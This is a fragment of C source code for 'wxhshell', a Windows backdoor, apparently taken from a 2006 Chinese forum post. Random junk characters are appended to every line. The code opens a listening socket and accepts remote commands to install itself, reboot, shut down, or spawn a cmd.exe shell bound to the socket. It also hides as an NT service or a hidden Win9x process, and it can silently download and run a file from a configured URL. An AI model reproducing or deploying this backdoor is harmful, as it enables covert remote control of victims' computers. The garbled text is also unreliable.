  send(wsh,msg_ws_err,strlen(msg_ws_err),0); RGT_}ni  
  else 8w)e/*:j  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ? .c?Pu  
  } 9 '2=  
  else { tO?21?AD D  
7*zB*"B'1t  
    switch(cmd[0]) { qTyg~]e9(  
  KK:N [x  
  // 帮助 u$W Bc\ j  
  case '?': { CnabD{uTf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); oJP< 'l1  
    break; Z:I*y7V-  
  } >j&1?M2C  
  // 安装 R<Z^L~)  
  case 'i': { $Llta,ULE  
    if(Install()) .D+RLO z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F|ETug n  
    else 3H1Pp*PH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .|T2\M  
    break; ?ouV  
    } 'eqiYY|  
  // 卸载 CXBzX:T?#  
  case 'r': { fucUwf\_  
    if(Uninstall()) {UP'tXah  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aQ&uC )w  
    else `koOp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0r1g$mKb  
    break; -Bj.hx*  
    } f.@Xjf  
  // 显示 wxhshell 所在路径 '4$lL 6ly>  
  case 'p': { R"NGJu9  
    char svExeFile[MAX_PATH]; >OT \~C  
    strcpy(svExeFile,"\n\r"); S,lxM,DL&  
      strcat(svExeFile,ExeFile); doLkrEm&  
        send(wsh,svExeFile,strlen(svExeFile),0); Y mq3ty]Pe  
    break; S2ark,sp6  
    } Zotz?j VVr  
  // 重启 uii7b 7[w  
  case 'b': { e[s5N:IUd3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z*9L'd"D|  
    if(Boot(REBOOT)) f7Yz>To  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8GY.){d!l  
    else { e{5,'(1]  
    closesocket(wsh); xFOBF")  
    ExitThread(0); A 6:Q<  
    } QO@6VY@  
    break; Lj4&_b9  
    } u2 7S %2P  
  // 关机 5Yl6?  
  case 'd': { jM*AL X  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |Td_S|:d  
    if(Boot(SHUTDOWN)) 4KE)g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UIn^_}jF`  
    else { ?gLAWz  
    closesocket(wsh); V7P6zAJy  
    ExitThread(0); oB4#J*   
    } .vK.XFZ8R  
    break; ;J'OakeVO  
    } c )03Ms4 D  
  // 获取shell _D-5}a"  
  case 's': { eO'xkm  
    CmdShell(wsh); )`<6taKx@n  
    closesocket(wsh); @YCv  
    ExitThread(0); zHV|-R  
    break; ~^x-ym5  
  } )U'yUUi  
  // 退出 IdF$Ml#[h  
  case 'x': { !Vb,zQ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C,.-Q"juH  
    CloseIt(wsh); HM):"  
    break; y<|)'(  
    } >{QdMn  
  // 离开 JPsSw  
  case 'q': { *E}Oh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qp\BV#E  
    closesocket(wsh); [yC"el6PM  
    WSACleanup(); /tP7uVL R  
    exit(1);  qtzFg#  
    break; ?ZaD=nh$mK  
        } v`SY6;<2  
  } C%]."R cMC  
  } E`tQe5K  
FZpsL-yx^N  
  // 提示信息 K@6`-|I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dnwdFsf  
} O4E(R?wd  
  } l~['[Ub0)  
YN^T$,*  
  return; {S *!B  
} 6Hwxx5>r  
D M}s0O$ 0  
// shell模块句柄 0Z,{s158L  
int CmdShell(SOCKET sock) O~6Q;qP  
{ 8)Zk24:])_  
STARTUPINFO si; #X5hS w;  
ZeroMemory(&si,sizeof(si)); x{Sd P$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }%x}fu#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gD6tHg>_  
PROCESS_INFORMATION ProcessInfo; H<Hrwy~  
char cmdline[]="cmd"; $3 4j6;oN  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); UWw}!1  
  return 0; >t0%?wj)Y  
} @zrNN>  
]\BUoQ7I/  
// 自身启动模式 a.DX%C /5  
int StartFromService(void) [sj VRW-  
{ (zC   
typedef struct /l6\^Xf{  
{ H|`R4hAk  
  DWORD ExitStatus; Yx),6C3  
  DWORD PebBaseAddress; ?q!FG(  
  DWORD AffinityMask; ~.6|dw\p!  
  DWORD BasePriority; 7]s%r ya  
  ULONG UniqueProcessId; FsY(02  
  ULONG InheritedFromUniqueProcessId; qg4fR' i  
}   PROCESS_BASIC_INFORMATION; 72,"Cj  
+T2HE\  
PROCNTQSIP NtQueryInformationProcess; 4V$fGjJ3  
sAYV)w3u"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g4wZvra6%)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; VgMP^&/gZ  
|1l&@#j!2  
  HANDLE             hProcess; %2D17*eK  
  PROCESS_BASIC_INFORMATION pbi; Mlj#b8  
?/'}JS(Sm  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <0 uOq  
  if(NULL == hInst ) return 0; 9afh[3qm  
Me/\z^pF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Us-A+)r*!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q]rqD83((  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,H39V+Y*  
[(|v`qMv/g  
  if (!NtQueryInformationProcess) return 0; !5UfWk\G  
}lP5 GT2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /C$ xH@bb  
  if(!hProcess) return 0; ` ?9T~,  
ZPyM>XK$4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *QH[,F`I  
8bOT*^b$H  
  CloseHandle(hProcess); h$ Da&$uyI  
>zmzK{A=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~+HoSXu@E  
if(hProcess==NULL) return 0; #)] c0]p  
Uo6(|mm  
HMODULE hMod; qVBL>9O*.  
char procName[255]; *Hs*,}MS  
unsigned long cbNeeded; e g3L:rk_  
3wC R|ab}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M&y5AB0  
2*u.3,aW  
  CloseHandle(hProcess); iYKU[UP?  
`*yAiv>  
if(strstr(procName,"services")) return 1; // 以服务启动 .X'< D*  
}fA;7GW+9  
  return 0; // 注册表启动 0pN{y}x,  
} 3taa^e.  
3SNL5  
// 主模块 K\&o2lo]  
int StartWxhshell(LPSTR lpCmdLine) 1b3(  
{ iF9_b  
  SOCKET wsl; B1$ikY  
BOOL val=TRUE; vv.PF~:  
  int port=0; hCC}d0gf`n  
  struct sockaddr_in door; =yqHC<8:  
jPk c3dG +  
  if(wscfg.ws_autoins) Install(); vZkXt!%)  
|nY~ZVTt/  
port=atoi(lpCmdLine); [w+Q^\%bN  
hNbIpi=  
if(port<=0) port=wscfg.ws_port; >]&X ^V%Q#  
|^GyH$.  
  WSADATA data; eko]H!Ov(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `#6x=24  
U<Jt50O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   w`gyE 6A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r,xmEj0E  
  door.sin_family = AF_INET; E>pVn2|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fbC~WV#  
  door.sin_port = htons(port); ;6m;M63z  
.Yx_:h=u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZL_[4 Y  
closesocket(wsl); 6y  Wc1  
return 1; (oaYF+T  
} 6sB$<#  
, 2`~ NPb  
  if(listen(wsl,2) == INVALID_SOCKET) { H}nJbnU  
closesocket(wsl); AhxGj+  
return 1; C1QV[bJK  
} mhzYz;}  
  Wxhshell(wsl); \VN=Ef\E  
  WSACleanup(); 3z[ $4L'.  
@`|)Ia<  
return 0; Q2s&L]L=  
c tI{^f:  
} uZ(? >  
s@!$='|  
// 以NT服务方式启动 !>g:Si"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,X/-  
{ n29(!10Px  
DWORD   status = 0; ddDS=OfH  
  DWORD   specificError = 0xfffffff; lS9n@  
NK/4OAt%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'M/ ([|@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K+),?Q ?.p  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lf$Ve  
  serviceStatus.dwWin32ExitCode     = 0; fKkjn4&W  
  serviceStatus.dwServiceSpecificExitCode = 0; #H5=a6E+q  
  serviceStatus.dwCheckPoint       = 0; -]XP2}#d  
  serviceStatus.dwWaitHint       = 0; r:9gf?(&  
*H2]H @QHN  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '*!L!VJ  
  if (hServiceStatusHandle==0) return; IOEM[zhb$  
;/sHWI f+Z  
status = GetLastError(); `fS^ j-_M  
  if (status!=NO_ERROR) n&!+wcJ;Yt  
{ SSmHEy*r)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {p/YCch,  
    serviceStatus.dwCheckPoint       = 0; ]vo_gKZ  
    serviceStatus.dwWaitHint       = 0; Gr)-5qh  
    serviceStatus.dwWin32ExitCode     = status; 9_huI'"p  
    serviceStatus.dwServiceSpecificExitCode = specificError; m{(+6-8|m  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /Ox)|) l  
    return; G]*|H0j  
  } 1;wb(DN*c  
m ,tXE%l  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7NF/]y4w  
  serviceStatus.dwCheckPoint       = 0; J?Iq9f  
  serviceStatus.dwWaitHint       = 0; +jV_Wz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mEDpKWBk  
} edpW8eND  
^^}Hs-{T  
// 处理NT服务事件,比如:启动、停止 VKrShI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -[]';f4]M  
{ 3!#/k+,C  
switch(fdwControl) EW(J5/mn  
{ FpVV4D  
case SERVICE_CONTROL_STOP: pFO^/P'  
  serviceStatus.dwWin32ExitCode = 0; ]~jN^"o_B  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !O)qYmK]|  
  serviceStatus.dwCheckPoint   = 0; >i~^TY-&  
  serviceStatus.dwWaitHint     = 0; ~F[L4y!sL  
  { ][:rLs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZkWL_ H)  
  } 0I%: BT  
  return; `ROG~0lN(  
case SERVICE_CONTROL_PAUSE: <avQR9'&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; h-XY4gq/  
  break; NFyMY#\]  
case SERVICE_CONTROL_CONTINUE: >K:u ?YD[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F ?=9eISLJ  
  break; !%S4 n  
case SERVICE_CONTROL_INTERROGATE: ]QrR1Rg  
  break; #`ejU&!6  
}; :zp`6l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "H+,E_&(  
} ijW 7c+yd  
_\zQ"y|G  
// 标准应用程序主函数 PT_KXk  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ZGz|m0b (  
{ a5?8QAO~r  
oU+F3b}5p  
// 获取操作系统版本 eegx'VSX4  
OsIsNt=GetOsVer(); qX6D1X1_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +5X DF  
<z0WLw0'z  
  // 从命令行安装 q7Es$zjX  
  if(strpbrk(lpCmdLine,"iI")) Install(); _vl}*/=Hc  
4JMiyiW&  
  // 下载执行文件 /q1s;I  
if(wscfg.ws_downexe) { FFcB54ALTf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hIU(P Dl4  
  WinExec(wscfg.ws_filenam,SW_HIDE); R7_VXvm>z  
} D>#l-{d  
S# we3  
if(!OsIsNt) { .<&s%{EW  
// 如果时win9x,隐藏进程并且设置为注册表启动 f8n V=AQ  
HideProc(); {IM! Wb  
StartWxhshell(lpCmdLine); }Dfwm)]Q  
} <hvRP!~<)  
else QLo(i  
  if(StartFromService()) \N6\v5vh  
  // 以服务方式启动 5Ec/(-F  
  StartServiceCtrlDispatcher(DispatchTable); 0(\+-<  
else ?I W_O~Js  
  // 普通方式启动 pJ^NA2  
  StartWxhshell(lpCmdLine); }iww:H-1  
Mi 0sC24b|  
return 0; K-Mc6  
}
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只看该作者 1 发表于: 2006-10-10
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